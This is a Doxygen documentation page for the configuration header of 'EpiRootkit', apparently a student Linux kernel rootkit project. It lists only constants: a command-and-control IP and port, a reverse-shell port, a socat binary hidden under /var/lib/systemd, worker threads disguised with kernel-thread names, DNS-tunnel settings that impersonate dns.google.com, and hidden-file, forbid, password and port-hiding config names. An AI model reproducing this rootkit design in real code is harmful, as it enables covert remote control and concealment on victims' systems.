 |
EpiRootkit
By STDBOOL
|
Loading...
Searching...
No Matches
Go to the documentation of this file.
9#if defined(DEBUG) && DEBUG
10#define DBG_MSG(fmt, args...) \
11 do { pr_info("epirootkit: " fmt, ##args); } while (0)
12#define ERR_MSG(fmt, args...) \
13 do { pr_err("epirootkit: " fmt, ##args); } while (0)
15#define DBG_MSG(fmt, args...) do { } while (0)
16#define ERR_MSG(fmt, args...) do { } while (0)
20#define SERVER_IP "192.168.100.2"
21#define SERVER_PORT 4242
24#define SOCAT_BINARY_PATH HIDDEN_DIR_PATH "/.sysd"
25#define REVERSE_SHELL_PORT 9001
34#define NETWORK_WORKER_THREAD_NAME "kworker/u42"
35#define MAX_MSG_SEND_OR_RECEIVE_ERROR 5
36#define TIMEOUT_BEFORE_RETRY 1000
37#define RCV_CMD_BUFFER_SIZE 1024
40#define DNS_WORKER_THREAD_NAME "kworker/u84"
41#define DNS_POLL_INTERVAL_MS 5000
43#define DNS_MAX_BUF 4096
44#define DNS_HDR_SIZE 12
45#define DNS_MAX_CHUNK 28
46#define DNS_MAX_AUTHORIZED_NB_CHUNKS 128
47#define DNS_SERVER_IP SERVER_IP
48#define DNS_DOMAIN "dns.google.com"
51#define USERLAND_CMD_TIMEOUT 5
54#define HIDDEN_PREFIX "stdbool_bypassed_ngl_"
55#define HIDDEN_DIR_NAME ".epirootkit-hidden-fs"
56#define HIDDEN_DIR_PATH "/var/lib/systemd/" HIDDEN_DIR_NAME
57#define STDOUT_FILE HIDDEN_DIR_PATH "/std.out"
58#define STDERR_FILE HIDDEN_DIR_PATH "/std.err"
61#define HIDE_CFG_FILE "hide_list.cfg"
62#define FORBID_CFG_FILE "forbid_list.cfg"
63#define ALTERATE_CFG_FILE "alterate_list.cfg"
64#define PASSWD_CFG_FILE "passwd.cfg"
65#define HIDE_PORT_CFG_FILE "hide_ports.cfg"
68#define STD_BUFFER_SIZE 1024
70#define ULIST_LINE_MAX 256